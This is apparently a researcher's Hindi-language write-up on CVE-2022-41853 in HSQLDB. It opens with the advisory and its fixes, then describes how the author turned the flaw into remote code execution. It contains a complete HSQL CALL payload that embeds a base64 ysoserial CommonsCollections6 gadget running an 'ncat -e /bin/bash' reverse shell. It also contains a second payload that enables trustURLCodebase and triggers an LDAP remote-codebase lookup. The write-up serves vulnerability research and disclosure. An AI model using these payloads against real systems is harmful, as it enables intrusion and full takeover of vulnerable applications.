
CVE-2022-41853 पर शोध: Java Deserialization और Remote Codebase Attack के माध्यम से स्थैतिक फ़ंक्शनों का उपयोग करके RCE प्राप्त करना
जो लोग hsqldb (HyperSQL DataBase) में अविश्वसनीय इनपुट को संसाधित करने के लिए java.sql.Statement या java.sql.PreparedStatement का उपयोग करते हैं, वे रिमोट कोड निष्पादन हमले के प्रति संवेदनशील हो सकते हैं। डिफ़ॉल्ट रूप से क्लासपाथ में किसी भी Java वर्ग की किसी भी स्थैतिक विधि को कॉल करने की अनुमति है, जिसके परिणामस्वरूप कोड निष्पादन होता है। इस समस्या को 2.7.1 पर अपडेट करके या सिस्टम प्रॉपर्टी "hsqldb.method_class_names" को उन वर्गों पर सेट करके रोका जा सकता है जिन्हें कॉल करने की अनुमति है। उदाहरण के लिए, System.setProperty("hsqldb.method_class_names", "abc") या Java तर्क -Dhsqldb.method_class_names="abc" का उपयोग किया जा सकता है। संस्करण 2.7.1 से, java.lang.Math को छोड़कर सभी वर्ग डिफ़ॉल्ट रूप से सुलभ नहीं हैं और उन्हें मैन्युअल रूप से सक्षम करने की आवश्यकता है।
इस कमजोरी के लिए प्रारंभिक प्रकटीकरण यहां पाया जा सकता है।
OSS-Fuzz टीम
https://github.com/google/oss-fuzz
2021 में, मैं मिखाइल क्लाइचनिकोव का ब्लॉगपोस्ट "Remote Code Execution in F5 Big‑IP" पढ़ रहा था कि कैसे पथ सामान्यीकरण हमला + HSQL "CALL" क्वेरी का उपयोग करके मनमानी Java स्थैतिक विधियों को कॉल किया जा सकता है ताकि RCE प्राप्त किया जा सके।
चूंकि उस समय मैं Apache SOLR में कमजोरियों की रिपोर्टिंग और शोध कर रहा था, मुझे याद आया कि उनका JDBC Stream उदाहरण HSQL का उपयोग करता है और मैंने परीक्षण वातावरण स्थापित करना शुरू किया।

नोट: दुर्भाग्य से, यह कमजोरी डिफ़ॉल्ट Apache Solr सर्वरों को प्रभावित नहीं करती है क्योंकि HSQL JAR को विशेष रूप से फ़ोल्डर “./server/solr-webapp/webapp/WEB-INF/lib/” में रखा जाना चाहिए ताकि ड्राइवर Stream JDBC घटक तक पहुँच योग्य हो।
चूंकि F5 में RCE "tmui.jar" (F5 अनुप्रयोगों के लिए विशिष्ट JAR) में स्थित "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext" फ़ंक्शन का उपयोग करता है, और मैं एक अनुप्रयोग-स्वतंत्र पेलोड के साथ आना चाहता था, मैंने यह देखना शुरू किया कि मैं स्थैतिक फ़ंक्शन को कॉल करने और RCE प्राप्त करने के लिए सामान्यतः उपयोग किए जाने वाले JAR (जैसे Apache Commons Collections, Apache Log4J) को कैसे श्रृंखलित कर सकता हूँ।
चूंकि ysoserial से CommonsCollections* गैजेट सबसे पहले दिमाग में आए, मैंने Java Deserialization के मार्ग का अनुसरण किया जिसके निम्नलिखित परिणाम सामने आए:
java.lang.System.setProperty('org.apache.commons.collections.enableUnsafeSerialization','true') को कॉल करें (जब आप सुरक्षा उपाय को पूरी तरह से हटा सकते हैं तो बायपास क्यों करें :)) )public static <T> T org.apache.commons.lang.SerializationUtils.deserialize(byte[] objectData) का उपयोग करें ताकि ObjectInputStream(x).readObject() फ़ंक्शन तक पहुंच सके।public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseBase64Binary(String encoded) या public static byte[] org.apache.logging.log4j.core.config.plugins.convert.parseHexBinary(String s) फ़ंक्शन का उपयोग करें जिसे deserialize(byte[] objectData) द्वारा निगला जाएगा।पूर्ण HSQL पेलोड का निम्नलिखित रूप है:
CALL "java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true') + "org.apache.commons.lang.SerializationUtils.deserialize"("org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary"('rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABxuY2F0IC1lIC9iaW4vYmFzaCAxMjcuMSA0NDQ0dAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg='))
नोट: इस मामले में ysoserial पेलोड CommonsCollection6 प्रकार का है और ncat -e /bin/bash 127.1 4444 रिवर्स शेल कमांड को निष्पादित करेगा।
नोट 2: स्टैंडअलोन HSQLDB.jar इस पेलोड के प्रति संवेदनशील नहीं है क्योंकि इसमें Apache Commons Collections JAR शामिल नहीं है। यह कमजोरी (अधिकांश समय) तब काम करती है जब HSQL को एक वेब एप्लिकेशन (जैसे SOLR, Liferay, आदि) में शामिल किया जाता है।
अधिक विवरण और शोषण प्रक्रिया इस PDF में पाई जा सकती है।
2023 में इस विषय पर पढ़ते हुए, मुझे यह शानदार प्रस्तुति मिली Exploring JNDI Attacks by iSafeBlue जिसमें com.sun.jndi.ldap.object.trustURLCodebase या com.sun.jndi.rmi.object.trustURLCodebase को true पर सेट करने के लिए java.lang.System.setProperty का उपयोग किया गया और फिर Java रिमोट कोडबेस हमले को सफलतापूर्वक करने के लिए LDAP/RMI लुकअप किया गया।
उदाहरण HSQL पेलोड:
CALL java.lang.System.setProperty"('com.sun.jndi.ldap.object.trustURLCodebase','true') + "javax.naming.InitialContext.doLookup"('ldap://127.0.0.1:4444/pgesux')
परिणाम:

नोट: अज्ञात कारणों से यह कमजोरी डिफ़ॉल्ट HSQLDB.jar पर काम करती है, लेकिन यह HSQL + Apache SOLR वातावरण में काम नहीं करती है ¯\_(ツ)_/¯.